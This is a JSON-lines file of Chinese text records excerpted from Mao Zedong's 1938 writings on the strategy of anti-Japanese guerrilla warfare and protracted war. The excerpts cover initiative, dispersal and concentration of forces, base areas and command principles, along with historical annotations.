    {"text": "并且因其对中国力量的估计不足和日本军阀的内部矛盾，产生了许多指挥的错误，例如逐渐增加兵力，缺乏战略的协同，某种时期没有主攻方向，某些作战失去时机和有包围无歼灭等等，可以说是他的第三个弱点。 这样，兵力不足（包括小国、寡民、资源不足和他是封建的帝国主义等等），异国作战（包括战争的帝国主义性和野蛮性等等），指挥笨拙，使得日本军阀虽然处在进攻战和外线作战的有利地位，但其主动权却日益减弱下去。 日本目前还不愿也不能结束战争，它的战略进攻也还没有停止，但是大势所趋，它的进攻是有一定限度的，这是三个弱点所产生的必然结果，无限止地吞灭全中国是不可能的。"},
    {"text": "中国方面，开始时战争颇处于被动，现在因有了经验，正在改取新的运动战的方针，即战役和战斗的进攻战、速决战和外线作战的方针，加上普遍发展游击战的方针，所以主动地位正在日益建立起来。"},
    {"text": "因为游击队大多处于严重的环境，这就是无后方作战的状态，敌强我弱的状态，缺乏经验的状态（这是说那些新成立的游击队）和不统一的状态等等。"},
    {"text": "一切敌人的这些弱点，正规军也应捉住，作为自己战胜敌人的资本，但游击队尤其应当注意捉住。 游击队自己的弱点，可以在斗争中逐渐减少。 且其弱点有时正成为争取主动地位的条件，例如正是因为自己弱小，才利于在敌人后方神出鬼没地活动，敌人无奈他何，这样大的自由是庞大的正规军所不能得到的。"},
    {"text": "游击队的主动权，在敌人举行数路围攻的场合，是难于掌握和容易丧失的。 在这种场合，如果估计和处置得不正确，就容易处于被动，因而打不破敌人的围攻。 在敌取守势我取攻势时，也有这种情形。 所以主动权是从正确的情况估计（敌我双方的情况）和正确的军事政治处置产生的。"},
    {"text": "不合客观情况的悲观的估计和随之而来的消极的处置，无疑地将丧失主动权，把自己抛入被动地位。 但是同样，不合客观情况的过于乐观的估计和随之而来的冒险（不需要的那种冒险）的处置，也将丧失主动权，而最后归入悲观者一路。"},
    {"text": "灵活地使用兵力，是游击战争比较正规战争更加需要的。 必须使游击战争的指导者明白，灵活地使用兵力，是转变敌我形势争取主动地位的最重要的手段。 根据游击战争的特性，兵力的使用必须按照任务和敌情、地形、居民等条件作灵活的变动，主要的方法是分散使用、集中使用和转移兵力。"},
    {"text": "游击战争的领导者对于使用游击队，好像渔人打网一样，要散得开，又要收得拢。 当渔人把网散开时，要看清水的深浅、流的速度和那里有无障碍，游击队分散使用时，也须注意不要因情况不明、行动错误而受损失。 渔人为了收得拢，就要握住网的绳头，使用部队也要保持通讯联络，并保持相当主力在自己手中。"},
    {"text": "分散、集中和变换，是游击战争灵活使用兵力的三个方法。 一般地说来，游击队当分散使用，即所谓“化整为零”时，大体上是依下述几种情况实施的：（一）因敌取守势，暂时无集中打仗可能，采取对敌实行宽大正面的威胁时；"},
    {"text": "但不论何种情况，当分散行动时都须注意：（一）保持较大一部分兵力于适当的机动地区，不要绝对地平均分散，一则便于应付可能的事变，一则使分散执行的任务有一个重心；"},
    {"text": "集中使用兵力，即所谓“化零为整”的办法，多半是在敌人进攻之时为了消灭敌人而采取的； 也有在敌人取守势时，为了消灭某些驻止之敌而采取的。"},
    {"text": "集中兵力并不是说绝对的集中，集中主力使用于某一重要方面，对其他方面则留置或派出部分兵力，为钳制、扰乱、破坏等用，或作民众运动。 按照情况灵活地分散兵力或集中兵力，是游击战争的主要的方法，但是还须懂得灵活地转移（变换）兵力。"},
    {"text": "有时为着各个击破敌人，有刚才在这里消灭了敌人，又立即转移到另一方向去消灭敌人的； 也有在这里不利于战斗，要立即脱离此敌转移到另一方向去进行战斗的。"},
    {"text": "不论是整个游击区的行动或是单个游击部队或游击兵团的行动，事先都应有尽可能的严密的计划，这就是一切行动的预先准备工作。 情况的了解，任务的确定，兵力的部署，军事和政治教育的实施，给养的筹划，装备的整理，民众条件的配合等等，都要包括在领导者们的过细考虑、切实执行和检查执行程度的工作之中。"},
    {"text": "上面所说的各点，说明了游击战争战略原则的第一个问题——主动地、灵活地、有计划地执行防御中的进攻战，持久中的速决战，内线作战中的外线作战。 这是游击战争战略原则的最中心的问题。 解决了这个问题，游击战争的胜利就有了军事指导上的重要的保证。"},
    {"text": "但在游击战争中注意这个不同是重要的和必要的。 正是因为这个不同的表现形式，所以使游击战争的作战方法区别于正规战争的作战方法； 混淆了这个不同的表现形式，游击战争是不能胜利的。"},
    {"text": "游击战争和正规战争的配合有三种：战略的、战役的和战斗的。 整个游击战争，在敌人后方所起的削弱敌人、钳制敌人、妨碍敌人运输的作用，和给予全国正规军和全国人民精神上的鼓励等等，都是战略上配合了正规战争。 例如东三省的游击战争，在全国抗战未起以前当然不发生配合问题，但在抗战起来以后，配合的意义就明显地表现出来了。"},
    {"text": "它们不但在现时敌人举行战略进攻时配合正规军起了战略防御的作用； 又不但在敌人结束其战略进攻转入保守占领地时，将配合正规军妨碍敌之保守； 而且将于正规军举行战略反攻时，配合正规军击退敌军恢复整个的失地。"},
    {"text": "例如，太原北部忻口战役时，雁门关南北的游击战争破坏同蒲铁路、平型关汽车路、阳方口汽车路，所起的战役配合作用，是很大的。 又如敌占风陵渡后，普遍存在于山西各地的游击战争（主要是由正规军进行的），对于配合陕西、河南两省沿黄河西南两岸的防御战，所起的战役配合作用更是很大的。 再如敌攻鲁南时，整个华北五省的游击战争，对于配合鲁南我军的战役作战，也尽了相当的力量。 在这个任务上，一切处于敌后的游击根据地的领导者们，或临时被派出的游击兵团的领导者们，必须好好地配置自己的力量，各依当时当地的情况，采用不同的方法，向着敌人最感危害之点和薄弱之点积极地行动起来，达到削弱敌人、钳制敌人、妨碍敌人运输和精神上振奋内线上各个战役作战军之目的，尽其战役配合的责任。 如果各游击区或各游击队只是各干各的，不顾战役作战的配合，虽在总的战略作战上仍不失其配合作用，但由于没有战役作战的配合，也就减少了它们的战略配合的意义。"},
    {"text": "最后，战斗的配合，即战场作战的配合，是一切内线战场附近的游击队的任务，这一项当然只限于靠近正规军的游击队，或临时从正规军派出的游击队。 在这种场合，游击队应该依正规军首长的指示，担负其所指定的任务，往往是担负钳制部分的敌人，妨碍敌之运输，侦察敌情，充当向导等。"},
    {"text": "因为失地的恢复须待举行全国的战略反攻之时，在这以前，敌人的前线将深入和纵断我国的中部，小半甚至大半的国土被控制于敌手，成了敌人的后方。"},
    {"text": "我们的战略反攻一日未能举行，失地一日未能恢复，敌后游击战争就应坚持一日，这种时间虽不能确切断定，然而无疑地是相当地长，这就是战争的长期性。"},
    {"text": "它是游击战争赖以执行自己的战略任务，达到保存和发展自己、消灭和驱逐敌人之目的的战略基地。 没有这种战略基地，一切战略任务的执行和战争目的的实现就失掉了依托。"},
    {"text": "要或不要根据地、重视或不重视根据地的问题，换句话说，根据地思想和流寇主义思想的斗争的问题，是任何游击战争中都会发生的，抗日游击战争在某种程度上也不能是例外。"},
    {"text": "第一节 几种根据地 抗日游击战争的根据地大体不外三种：山地、平地和河湖港汊地。 山地建立根据地之有利是人人明白的，已经建立或正在建立或准备建立的长白山 〔1〕 、五台山 〔2〕 、太行山 〔3〕 、泰山 〔4〕 、燕山 〔5〕 、茅山 〔6〕 等根据地都是。"},
    {"text": "因为一方面，敌人兵力不够分配，又执行着前无古人的野蛮政策，另一方面，中国有广大的土地，又有众多的抗日人民，这些都提供了平原能够发展游击战争并建立临时根据地的客观条件；"},
    {"text": "大抵当敌人结束了他的战略进攻，转到了保守占领地的阶段时，对于一切游击战争根据地的残酷进攻的到来，是没有疑义的，平原的游击根据地自将首当其冲。"},
    {"text": "那时，在平原地带活动的大的游击兵团将不能在原地长期支持作战，而须按照情况，逐渐地转移到山地里去，例如从河北平原向五台山和太行山转移，从山东平原向泰山和胶东半岛转移。 但是保持许多小的游击部队，分处于广大平原的各县，采取流动作战，即根据地搬家，一时在此一时在彼的方法，在民族战争的条件下，不能说没有这种可能。"},
    {"text": "在现时敌人无力顾及和将来顾及也难周到的条件下，确定在现时广泛地发展平原的游击战争，并建立临时根据地的方针，在将来准备坚持小部队的游击战争，至少坚持季候性的游击战争，并建立非固定的根据地的方针，是完全必要的。 依据河湖港汊发展游击战争，并建立根据地的可能性，客观上说来是较之平原地带为大，仅次于山岳地带一等。 历史上所谓“海盗”和“水寇”，曾演过无数的武剧，红军时代的洪湖游击战争支持了数年之久，都是河湖港汊地带能够发展游击战争并建立根据地的证据。"},
    {"text": "江北的洪泽湖地带、江南的太湖地带和沿江沿海一切敌人占领区域的港汊地带，都应该好好地组织游击战争，并在河湖港汊之中及其近旁建立起持久的根据地，作为发展全国游击战争的一个方面。"},
    {"text": "在四围已被敌占但中间未被敌占或虽占而已经恢复的地区，例如五台山地区（即晋察冀边区）的某些县，太行山地区和泰山地区也有这种情形，这些都是现成的根据地，游击队据之以发展游击战争是很方便的。 但在这些根据地的其他地方则不然，例如五台山地区的东部北部——即冀西察南的某些部分和保定以东沧州以西的许多地方，在那里，游击战争在开始时期还不能完全占领该地，只能经常去游击，游击队到时属于游击队，游击队走了又属于伪政权，这样的地区就还不是游击战争的根据地，而是所谓游击区。 这种游击区，经过游击战争的必要过程，消灭或打败了许多敌人，摧毁了伪政权，发动了民众的积极性，组织了民众的抗日团体，发展了民众武装，建立了抗日政权，游击区就转化成了根据地。"},
    {"text": "有些地方的游击战争，全部活动地区开始都是游击区，例如冀东的游击战争。 那里已有长期的伪政权，当地起义的民众武装和从五台山派去的游击支队，整个活动地区开始都是游击区。"},
    {"text": "要待消灭敌人和发动民众的工作开展了之后，才能把游击区状态消灭，变为比较稳固的根据地。 由此可知，从游击区到根据地，是一个艰难缔造的过程，依消灭敌人和发动民众的程度如何而定其是否已从游击区过渡到了根据地的阶段。"},
    {"text": "在那里，敌人极力控制，但不能建立稳固的伪政权，游击战争也极力发展，但无法达到建立抗日政权的目的，例如敌人占领的铁路线、大城市的附近地区和某些平原地区。 至于敌人有强大力量控制着的大城市、火车站和某些平原地带，游击战争只能接近其附近，而不能侵入其里面，那里有比较稳固的伪政权，这又是一种情形。 由于我之领导错误或敌之强大压力的结果，可以使上述的情形发生相反的变化，即根据地化为游击区，游击区化为敌之比较稳固的占领地。"},
    {"text": "所以，在整个敌占地区，经过游击战争和敌我双方斗争的结果，可以变为三种情况的地方：第一种是被我方游击部队和我方政权掌握着的抗日根据地；"},
    {"text": "从事游击战争的领导者们必须用全副精力去建立一支以至多支的游击部队，并使之从斗争中逐渐地发展为游击兵团，以至发展成为正规部队和正规兵团。"},
    {"text": "要把敌人的根据地变为游击战争的根据地，非战胜敌人无从实现，这是自明之理。 就是游击战争控制的地方，如果不粉碎敌人的进攻，不战胜敌人，自己控制的地方就要变成敌人控制的地方，也无从建立根据地。"},
    {"text": "无论是工人、农民、青年、妇女、儿童、商人、自由职业者，都要依据他们的政治觉悟和斗争情绪提高的程度，将其组织在各种必要的抗日团体之内，并逐渐地发展这些团体。"},
    {"text": "原来有中国政权未被敌人破坏的，则在广大民众拥护的基础之上去改造它和巩固它； 原来的中国政权已被敌人破坏了的，则在广大民众努力的基础之上去恢复它。"},
    {"text": "地理条件的问题，在说“几种根据地”时已经指出了三种不同的情形，这里只说主要的要求，即地区的广大。 处在四面或三面被敌包围的中间，要建立长期支持的根据地，山地当然是最好的条件，但主要是须有游击队回旋的余地，即广大地区。 有了广大地区这个条件，就是在平原也是能够发展和支持游击战争的，河湖港汊更不待说。 这个条件已因中国领土广大和敌人兵力不足，一般地提供于中国的游击战争了。"},
    {"text": "因为现在并不讨论在沙漠里建立根据地，沙漠里也没有什么敌人，讨论的是在敌人后方建立根据地，而一切敌人能到之处，当然早就有了中国人，也早就有了吃饭的经济基础，故在建立根据地问题上，不发生选择经济条件的问题。 一切有中国人又有敌人的地方，不问其经济条件如何，都应尽可能地发展游击战争，并建立永久的或临时的根据地。"},
    {"text": "游击战争根据地的经济政策，必须执行抗日民族统一战线的原则，即合理负担和保护商业，当地政权和游击队决不能破坏这种原则，否则将影响于根据地的建立和游击战争的支持。"},
    {"text": "第四节 根据地的巩固和发展 为了把侵入中国的敌人围困在少数的据点，即大城市和交通干线之内，各个根据地上的游击战争必须极力向其根据地的四周发展，迫近一切敌人的据点，威胁其生存，动摇其军心，同时即发展了游击战争的根据地，这是十分必要的。"},
    {"text": "保守主义不论是由于贪图安逸而发生的，或由于对敌人力量的过高估计而发生的，均将给予抗日战争以损失，对于游击战争及其根据地的本身也是不利的。"},
    {"text": "第五节 敌我之间的几种包围 从整个抗日战争看来，由于敌之战略进攻和外线作战，我处战略防御和内线作战地位，无疑我是处在敌之战略包围中。"},
    {"text": "由于我以数量上优势的兵力，对于从外线分数路向我前进之敌采取战役和战斗的进攻和外线作战的方针，就使各个分进之敌的每一个处于我之包围中。"},
    {"text": "由是敌我各有加于对方的两种包围，大体上好似下围棋 〔8〕 一样，敌对于我我对于敌之战役和战斗的作战好似吃子，敌之据点和我之游击根据地则好似做眼。"},
    {"text": "在这个“做眼”的问题上，表示了敌后游击战争根据地之战略作用的重大性。 这个问题，提在抗日战争面前，就是一方面在全国军事当局，又一方面在各地的游击战争领导者，均须把在敌后发展游击战争和在一切可能地方建立根据地的任务，放在自己的议事日程上，把它作为战略任务执行起来。"},
    {"text": "如果我们能在外交上建立太平洋反日阵线，把中国作为一个战略单位，又把苏联及其他可能的国家也各作为一个战略单位，我们就比敌人多了一个包围，形成了一个太平洋的外线作战，可以围剿法西斯日本。"},
    {"text": "这是第一个问题里所述的进攻战方针在抗日游击战争处于防御姿势和处于进攻姿势中如何具体地应用的问题。 在全国的战略防御和战略进攻（正确地说，战略反攻）中间，每一游击战争的根据地上面及其周围，也有其小规模的战略防御和战略进攻，前者是敌取攻势我取守势时的战略形势和战略方针，后者是敌取守势我取攻势时的战略形势和战略方针。 第一节 游击战争的战略防御 在游击战争已经起来并有相当的发展之后，特别是在敌人停止了对我全国的战略进攻、采取保守其占领地的方针的时候，敌人向游击战争根据地的进攻是必然的。"},
    {"text": "敌人为达到消灭游击战争及其根据地之目的，常会采取围攻的办法，例如五台山地区就已有了四五次的所谓“讨伐”，每次配置三路、四路以至六、七路的兵力，同时有计划地前进。"},
    {"text": "游击战争发展的规模越大，其根据地所处的位置越重要，威胁敌人的战略基地和交通要道越大，敌人对于游击战争及其根据地的进攻也将会越厉害。 所以，凡属敌人进攻游击战争越厉害之处，就证明那里的游击战争越有成绩，对于正规战争的配合也就越有作用。"},
    {"text": "在敌数路前进，但每路只有一个或大或小的部队，没有后续部队，不能沿途配置兵力、构筑堡垒、修筑汽车路的情况之下，这种围攻是容易打破的。"},
    {"text": "我之部署应是以次要兵力钳制敌之数路，而以主要兵力对付敌之一路，采取战役和战斗的袭击战法（主要的是埋伏战），于敌行动中打击之。 敌人虽强，经过多次的袭击，也就削弱下来，往往中途撤退，此时游击队又可于追击敌人时继续袭击，再行削弱他。 当敌人还没有停止进攻或实行退却之时，总是占据根据地内的县城或市镇，我便应包围这种县城或市镇，断绝其粮食来源和交通联络，等到敌人无法支持向后退走时，我便乘机追击之。 一路打破之后，又转移兵力去打破敌之另一路，这样各个地击破敌之围攻。"},
    {"text": "但在兵力优裕的条件下，使用次要力量（例如县和区的游击队，以至从主力中分出一部分）于外线，在那里破坏敌之交通，钳制敌之增援部队，是必要的。"},
    {"text": "如果敌在根据地内久踞不去，我可以倒置地使用上述方法，即以一部留在根据地内围困该敌，而用主力进攻敌所从来之一带地方，在那里大肆活动，引致久踞之敌撤退出去打我主力；"},
    {"text": "敌人退却时往往将所踞城市中的房屋和所经道路上的村庄放火烧毁，目的在给予游击战争根据地以破坏，但同时就使得敌人第二次进攻时没有房子住和没有饭吃，害了他们自己。"},
    {"text": "只有平原地带，如果在严重的围攻之下，就应根据具体情势，考虑下面的问题：留着许多小的游击部队在当地分散活动，而将大的游击兵团暂时地转移到山地里去，等到敌人主力移动他去，我又再往那里活动。"},
    {"text": "但是我们应该估计到在某些特别威胁敌人要害的游击根据地中，敌人有可能采取相当程度的堡垒主义，要准备就是在这种情况之下仍然坚持那里的游击战争。"},
    {"text": "因为即使在兵力对比上，在某些根据地中，敌能使用不但在质量上而且在数量上极端优势的兵力，但是敌我民族矛盾无法解决，敌之指挥弱点无可避免。"},
    {"text": "而在于有计划地在一定地区内消灭和驱逐为游击队力能胜任的小敌和汉奸武装，扩大我之占领地区，发动民众的抗日斗争，补充并训练部队，组织新的游击队。"},
    {"text": "在这些任务做得有了些眉目之后，如果敌人还在守势之中，就可以进一步扩大我之新占领地区，攻击那些敌力薄弱的城市和交通线，依其情况而长久地或暂时地占领之。 所有这些，都是战略进攻的任务，目的在于乘着敌取守势之时，有效地发展自己的军事的和民众的力量，有效地缩小敌人的力量，并准备敌人再度向我进攻时又能有计划地和有力地打破之。"},
    {"text": "这时，整个的游击根据地、游击区和游击部队，都是兴高采烈的时候，被敌摧残的地区也逐渐整理，恢复元气。 敌占地区内的民众亦十分高兴，到处都传播游击队的声威。"},
    {"text": "在这种时候，须善于观看敌人的风色，看其是否又有向我进攻的朕兆，以便一遇进攻，就能适当地结束我之战略进攻，转入战略防御，再从战略防御中粉碎敌人的进攻。"},
    {"text": "然而情形是相反的，战争是长期而且残酷，游击战只有向运动战发展才能适应这样的战争。 战争既是长期的和残酷的，就能够使游击队受到必要的锻炼，逐渐地变成正规的部队，因而其作战方式也将逐渐地正规化，游击战就变成运动战了。 游击战争的领导者们必须明确地认识这种必要性和可能性，才能坚持向运动战发展的方针，并有计划地执行之。"},
    {"text": "他们不知道游击战向运动战发展并非废除游击战，而是在广泛发展的游击战之中逐渐地形成一个能够执行运动战的主力，环绕这个主力的仍然应有广大的游击部队和游击战争。"},
    {"text": "所以，主力部队的领导者如果犯了不顾地方民众和地方政府的利益的单纯军事主义的错误，就必须加以克服，使主力的扩大和地方武装的繁殖，各得着适宜的位置。"},
    {"text": "提高质量，须在政治、组织、装备、技术、战术、纪律等各方面有所改进，逐渐地仿照正规军的规模，减少游击队的作风。 政治上须使指挥员、战斗员们认识从游击队到正规军提高一步的必要性，鼓励大家为此而努力，并以政治工作去保障之。 组织上须逐渐地具备为一个正规兵团所必需的军事和政治的工作机关，军事和政治的工作人员，军事和政治的工作方法以及供给卫生等的经常制度。"},
    {"text": "高度的集中指挥和游击战争的高度活泼性是正相反对的东西； 对于这种高度活泼的游击战争，施之以高度集中的指挥制度，不但不应该，而且不可能。 然而游击战争不是不要任何的集中指挥就能够顺利地发展的。"},
    {"text": "在有广大的正规战争，同时又有广大的游击战争存在的情况之下，使二者适当地配合行动是必要的，这里就需要对于正规战争和游击战争配合行动的指挥，这就是国家参谋部和战区司令官关于战略作战的统一指挥。 在一个游击区或游击根据地里面，那里存在着多数的游击队，其中往往有一个至数个作为主力的游击兵团（有时还有正规兵团）和许多作为辅助力量的大小游击部队，还有不脱离生产的广大的人民武装，那里的敌人也往往成为一个局面，统一地对付游击战争。"},
    {"text": "由此，游击战争的指挥原则，一方面反对绝对的集中主义，同时又反对绝对的分散主义，应该是战略的集中指挥和战役战斗的分散指挥。 战略的集中指挥，包括国家对于整个游击战争的部署，各个战区里面游击战争和正规战争的配合行动以及每个游击区或根据地里面对于全区抗日武装的统一指导。"},
    {"text": "在游击根据地组成一个军区，其下分为几个军分区，军分区之下分为几个县，县之下分为几个区的情况，军区司令部、军分区司令部、县政府、区政府的系统是隶属关系，武装部队依其性质分别地隶属之。"},
    {"text": "具体的行动按照具体情况实施之，下级有独立自主之权。 上级对下级某些具体行动有意见，可以而且应该作为“训令”提出，但决不应作为不可改变的“命令”。 越是地区广大，情况复杂，上下级距离很远，这种具体行动就越应加大其独立自主的权限，越应使之多带地方性，多切合地方情况的要求，以便培养下级和地方人员的独立工作能力，应付复杂的环境，发展胜利的游击战争。"},
    {"text": "如果是一个集中行动的部队或兵团，其内部指挥关系，适用集中指挥的原则，因为情况是明了的； 但是如果该部队或该兵团一旦分散行动，便又适用一般集中、具体分散的原则，因为具体的情况无从明了。"},
    {"text": "应该集中的不集中，在上者叫做失职，在下者叫做专擅，这是在任何上下级关系上特别是在军事关系上所不许可的。 应该分散的不分散，在上者叫做包办，在下者叫做无自动性，这也是在任何上下级关系上特别是在游击战争的指挥关系上所不许可的。"},
    {"text": "注 释 * 抗日战争初期，中国共产党内和党外都有许多人轻视游击战争的重大战略作用，而只把自己的希望寄托于正规战争，特别是国民党军队的作战。"},
    {"text": "其结果，在抗日时期内，在一九三七年只有四万余人的八路军和新四军，到一九四五年日本投降时就发展成为一百多万人的大军，并创建了许多革命根据地，在抗日战争中起了伟大的作用，使蒋介石在抗日时期既不敢投降日本，又不敢发动全国规模的内战，而到一九四六年发动全国规模的内战时，由八路军新四军编成的人民解放军就有力量对付蒋介石的进攻了。"},
    {"text": "一九三一年九一八事变后，中国共产党领导的抗日游击队，与其他自发的抗日武装以及活动在东北地区的朝鲜共产主义者一道，曾一度在长白山区开展和坚持游击战争。"},
    {"text": "十一月开始创立以太行山为依托的晋东南抗日根据地，同时分兵向冀南、豫北的边界和冀西发展。 一九三八年四月成立晋冀豫军区，后又相继开辟冀南、冀鲁豫抗日根据地，一九四一年建立了晋冀鲁豫边区政府。"},
    {"text": "一九三七年冬至一九三八年春，中国共产党领导的游击队依托泰沂山区，发动抗日武装起义，开展游击战争，为创建鲁中抗日根据地奠定了基础。"},
    {"text": "中共冀热边特委在八路军第四纵队的配合下，发动和领导了冀东二十一县和唐山矿区的工人农民抗日武装大起义。 一九三九年后逐步建立了冀东抗日根据地，后来发展成为冀热辽抗日根据地。"},
    {"text": "〔7〕 抗日战争发展的经验，证明了平原地区能够建立长期的而且在许多地方能够成为固定的根据地，这是由于地区的广大，人口的众多，共产党政策的正确，人民动员的普遍和敌人兵力的不足等等条件所决定的。"},
    {"text": "一半因为我们的宣传解释工作还不够，一半也因为客观事变的发展还没有完全暴露其固有的性质，还没有将其面貌鲜明地摆在人们之前，使人们无从看出其整个的趋势和前途，因而无从决定自己的整套的方针和做法。"},
    {"text": "有些人轻视抗日战争中游击战争的战略地位，他们对于“在全体上，运动战是主要的，游击战是辅助的； 在部分上，游击战是主要的，运动战是辅助的”这个提法，表示怀疑。 他们不赞成八路军这样的战略方针：“基本的是游击战，但不放松有利条件下的运动战。"},
    {"text": "例如说：改革军队制度，改革政治制度，发展民众运动，厉行国防教育，镇压汉奸托派 〔9〕 ，发展军事工业，改良人民生活，是否应该认真去做呢？"},
    {"text": "还在一九三六年七月十六日，即在西安事变前五个月，卢沟桥事变前十二个月，我同美国记者斯诺先生的谈话中，就已经一般地估计了中日战争的形势，并提出了争取胜利的各种方针。"},
    {"text": "如果中国抗日统一战线有力地发展起来，横的方面和纵的方面都有效地组织起来，如果认清日本帝国主义威胁他们自己利益的各国政府和各国人民能给中国以必要的援助，如果日本的革命起来得快，则这次战争将迅速结束，中国将迅速胜利。"},
    {"text": "（七）还在卢沟桥事变发生后一个多月，即一九三七年八月二十五日，中国共产党中央就在它的《关于目前形势与党的任务的决定》中，清楚地指出： 卢沟桥的挑战和平津的占领，不过是日寇大举进攻中国本部的开始。"},
    {"text": "这一阶段的最中心的任务是：动员一切力量争取抗战的胜利。 争取抗战胜利的中心关键，在使已经发动的抗战发展为全面的全民族的抗战。 只有这种全面的全民族的抗战，才能使抗战得到最后的胜利。"},
    {"text": "由于当前的抗战还存在着严重的弱点，所以在今后的抗战过程中，可能发生许多挫败、退却，内部的分化、叛变，暂时和局部的妥协等不利的情况。"},
    {"text": "（一○）日本方面：第一，它是一个强的帝国主义国家，它的军力、经济力和政治组织力在东方是一等的，在世界也是五六个著名帝国主义国家中的一个。"},
    {"text": "这是日本侵略战争的基本条件，战争的不可避免和中国的不能速胜，就建立在这个日本国家的帝国主义制度及其强的军力、经济力和政治组织力上面。"},
    {"text": "还不止此，第三，日本战争虽是在其强的军力、经济力和政治组织力的基础之上进行的，但同时又是在其先天不足的基础之上进行的。 日本的军力、经济力和政治组织力虽强，但这些力量之量的方面不足。 日本国度比较地小，其人力、军力、财力、物力均感缺乏，经不起长期的战争。"},
    {"text": "日本统治者想从战争中解决这个困难问题，但同样，将达到其所期求的反面，这就是说，它为解决这个困难问题而发动战争，结果将因战争而增加困难，战争将连它原有的东西也消耗掉。"},
    {"text": "从鸦片战争 〔10〕 ，太平天国 〔11〕 ，戊戌维新 〔12〕 ，辛亥革命 〔13〕 ，直至北伐战争，一切为解除半殖民地半封建地位的革命的或改良的运动，都遭到了严重的挫折，因此依然保留下这个半殖民地半封建的地位。"},
    {"text": "第三，中国又是一个很大的国家，地大、物博、人多、兵多，能够支持长期的战争，这同日本又是一个相反的对比。 最后，第四，由于中国战争的进步性、正义性而产生出来的国际广大援助，同日本的失道寡助又恰恰相反。 总起来说，中国的短处是战争力量之弱，而其长处则在其战争本质的进步性和正义性，在其是一个大国家，在其国际形势之多助。"},
    {"text": "中国反是，军力、经济力和政治组织力是比较地弱的，然而正处于进步的时代，其战争是进步的和正义的，又有大国这个条件足以支持持久战，世界的多数国家是会要援助中国的。"},
    {"text": "——这些，就是中日战争互相矛盾着的基本特点。 这些特点，规定了和规定着双方一切政治上的政策和军事上的战略战术，规定了和规定着战争的持久性和最后胜利属于中国而不属于日本。 战争就是这些特点的比赛。 这些特点在战争过程中将各依其本性发生变化，一切东西就都从这里发生出来。"},
    {"text": "他们可以搬出元朝灭宋、清朝灭明的历史证据，证明小而强的国家能够灭亡大而弱的国家，而且是落后的灭亡进步的。 如果我们说，这是古代，不足为据，他们又可以搬出英灭印度的事实，证明小而强的资本主义国家能够灭亡大而弱的落后国家。"},
    {"text": "所以还须提出其他的根据，才能把一切亡国论者的口封住，使他们心服，而使一切从事宣传工作的人们得到充足的论据去说服还不明白和还不坚定的人们，巩固其抗战的信心。"},
    {"text": "在我们的敌人方面，首先，它是快要死亡的帝国主义，它已处于退步时代，不但和英灭印度时期英国还处于资本主义的进步时代不相同，就是和二十年前第一次世界大战时的日本也不相同。"},
    {"text": "再则，当日本举行战争的时候，正是世界各国或者已经遭遇战争或者快要遭遇战争的时候，大家都正在或准备着为反抗野蛮侵略而战，中国这个国家又是同世界多数国家和多数人民利害相关的，这就是日本已经引起并还要加深地引起世界多数国家和多数人民的反对的根源。"},
    {"text": "所谓抗日战争是进步的，不是说普通一般的进步，不是说阿比西尼亚抗意战争的那种进步，也不是说太平天国或辛亥革命的那种进步，而是说今天中国的进步。"},
    {"text": "在于它已经不是完全的封建国家，已经有了资本主义，有了资产阶级和无产阶级，有了已经觉悟或正在觉悟的广大人民，有了共产党，有了政治上进步的军队即共产党领导的中国红军，有了数十年革命的传统经验，特别是中国共产党成立以来的十七年的经验。"},
    {"text": "（一七）加上日本是小国，地小、物少、人少、兵少，中国是大国，地大、物博、人多、兵多这一个条件，于是在强弱对比之外，就还有小国、退步、寡助和大国、进步、多助的对比，这就是中国决不会亡的根据。 强弱对比虽然规定了日本能够在中国有一定时期和一定程度的横行，中国不可避免地要走一段艰难的路程，抗日战争是持久战而不是速决战； 然而小国、退步、寡助和大国、进步、多助的对比，又规定了日本不能横行到底，必然要遭到最后的失败，中国决不会亡，必然要取得最后的胜利。"},
    {"text": "第二，它不如中国进步，它是一个古老的奴隶制到农奴制的国家，没有资本主义，没有资产阶级政党，更没有共产党，没有中国这样的军队，更没有如同八路军这样的军队。"},
    {"text": "虽然历史上的解放运动屡次遭受挫折，使中国不能积蓄更大的力量用于今日的抗日战争——这是非常可痛惜的历史的教训，从今以后，再也不要自己摧残任何的革命力量了——然而就在既存的基础上，加上广大的努力，必能逐渐前进，加强抗战的力量。"},
    {"text": "在今天，虽然存在着许多困难条件，规定了抗日战争是艰难的战争，例如敌人之强，我们之弱，敌人的困难还刚在开始，我们的进步还很不够，如此等等，然而战胜敌人的有利条件是很多的，只须加上主观的努力，就能克服困难而争取胜利。"},
    {"text": "估计到某种时机，敌之劝降手段又将出现，某些亡国论者又将蠕蠕而动，而且难免勾结某些国际成分（英、美、法内部都有这种人，特别是英国的上层分子），狼狈为奸。"},
    {"text": "中苏两国是地理接近的，这一点加重了日本的危机，便利了中国的抗战。 中日两国地理接近，加重了中国抗战的困难。 然而中苏的地理接近，却是中国抗战的有利条件。"},
    {"text": "历史积累下来的腐败现象，虽然很严重地阻碍着人民抗战力量增长的速度，减少了战争的胜利，招致了战争的损失，但是中国、日本和世界的大局，不容许中国人民不进步。"},
    {"text": "只要中国坚持抗战和坚持统一战线，就一定能把旧日本化为新日本，把旧中国化为新中国，中日两国的人和物都将在这次战争中和战争后获得改造。"},
    {"text": "亡国论是不对的，速胜论 也是不对的 （二六）我们已把强弱、大小、进步退步、多助寡助几个敌我之间矛盾着的基本特点，作了比较研究，批驳了亡国论，答复了为什么不易妥协和为什么政治可能进步的问题。"},
    {"text": "那些并非亡国论者，也不是一贯的悲观主义者，仅为一时候和一局部的敌我强弱情况或国内腐败现象所迷惑，而一时地发生悲观心理的人们，我们也得向他们指出，他们的观点的来源也是片面性和主观性的倾向。"},
    {"text": "我们和亡国论者不同，我们客观地而且全面地承认亡国和解放两个可能同时存在，着重指出解放的可能占优势及达到解放的条件，并为争取这些条件而努力。 亡国论者则主观地和片面地只承认亡国一个可能性，否认解放的可能性，更不会指出解放的条件和为争取这些条件而努力。"},
    {"text": "我们对于妥协倾向和腐败现象也是承认的，但是我们还看到其他倾向和其他现象，并指出二者之中后者对于前者将逐步地占优势，二者在猛烈地斗争着；"},
    {"text": "但敌尚有其他缺点，我尚有其他优点。 敌之优点可因我之努力而使之削弱，其缺点亦可因我之努力而使之扩大。 我方反是，我之优点可因我之努力而加强，缺点则因我之努力而克服。"},
    {"text": "事情是现时敌我强弱的程度悬殊太大，敌之缺点一时还没有也不能发展到足以减杀其强的因素之必要的程度，我之优点一时也没有且不能发展到足以补充其弱的因素之必要的程度，所以平衡不能出现，而出现的是不平衡。"},
